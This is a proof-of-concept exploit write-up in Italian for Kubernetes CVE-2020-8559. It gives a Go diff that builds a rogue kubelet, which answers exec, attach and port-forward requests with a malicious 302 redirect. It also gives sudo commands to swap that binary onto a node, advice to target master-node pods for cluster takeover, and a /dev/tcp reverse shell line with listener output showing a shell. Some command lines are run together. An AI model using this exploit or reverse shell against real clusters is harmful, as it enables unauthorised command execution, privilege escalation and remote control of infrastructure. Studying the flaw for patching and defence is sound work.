
Questo è un exploit PoC per la vulnerabilità Kubernetes CVE-2020-8559
Questo è solo a scopo dimostrativo. Da usare esclusivamente su sistemi su cui sei autorizzato a eseguire azioni amministrative e su cui sei autorizzato a sfruttare CVE-2020-8559.
Questa è una PoC per CVE-2020-8559. Questa vulnerabilità consente a un attaccante che ha ottenuto root su un Node di eseguire comandi su qualsiasi altro Container nel cluster, consentendo all'attaccante di assumere il controllo del nodo master di Kubernetes.
Questa vulnerabilità è dovuta al fatto che il server API di Kubernetes e il comando kubectl seguono i reindirizzamenti HTTP, combinato con il fatto che l'API di Kubernetes inserisce tutti i componenti di una richiesta API nell'URL, ovvero nome del Node, nome del Pod, nome del Container e persino il comando. Pertanto, se il processo Kubelet risponde a /exec, /attach, /portforward o a qualsiasi azione resource: proxy con un reindirizzamento HTTP 302 con un header Location che indica di eseguire un comando diverso su un Node diverso in un Container diverso, il server API di Kubernetes o il comando kubectl eseguirà senza problemi una nuova richiesta per qualunque cosa sia presente nell'header Location.
Puoi scaricare la mia versione fork di Kubernetes e passare al mio branch per compilare il binario kubelet dell'exploit.
Questo branch è basato sul tag v1.15.9.
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
Questa PoC si limita a inviare un reindirizzamento HTTP 302 con un header Location hard-coded, quindi dovrai modificare kubernetes/pkg/kubelet/server/server.go e aggiornare host, namespace, pod, container e command
Suggerimento: Elenca tutti i Pod nel cluster. Quindi, configura questa PoC per eseguire comandi su un Pod in esecuzione sul nodo master di Kubernetes, in modo da avviare una reverse shell verso di te e prendere il controllo del cluster.
Dopo aver configurato l'attacco, compila un binario kubelet rogue
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet rogue sul Nodekubelet e sovrascrivi il binario con quello roguekubeletps aux |grep kubeletkubelet e copia il binario rogue nella posizione correttasudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet in modo che si riavvii con il binario roguekubeletps aux |grep kubeletkubeletsudo kill $PIDkubectl sulla propria workstation locale, questo comando dovrebbe restituire l'hostname del Container vittima invece del Container su cui avrebbe dovuto essere eseguito[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
Puoi anche avviare una reverse shell verso di te da qualsiasi Container con
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1Successo :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#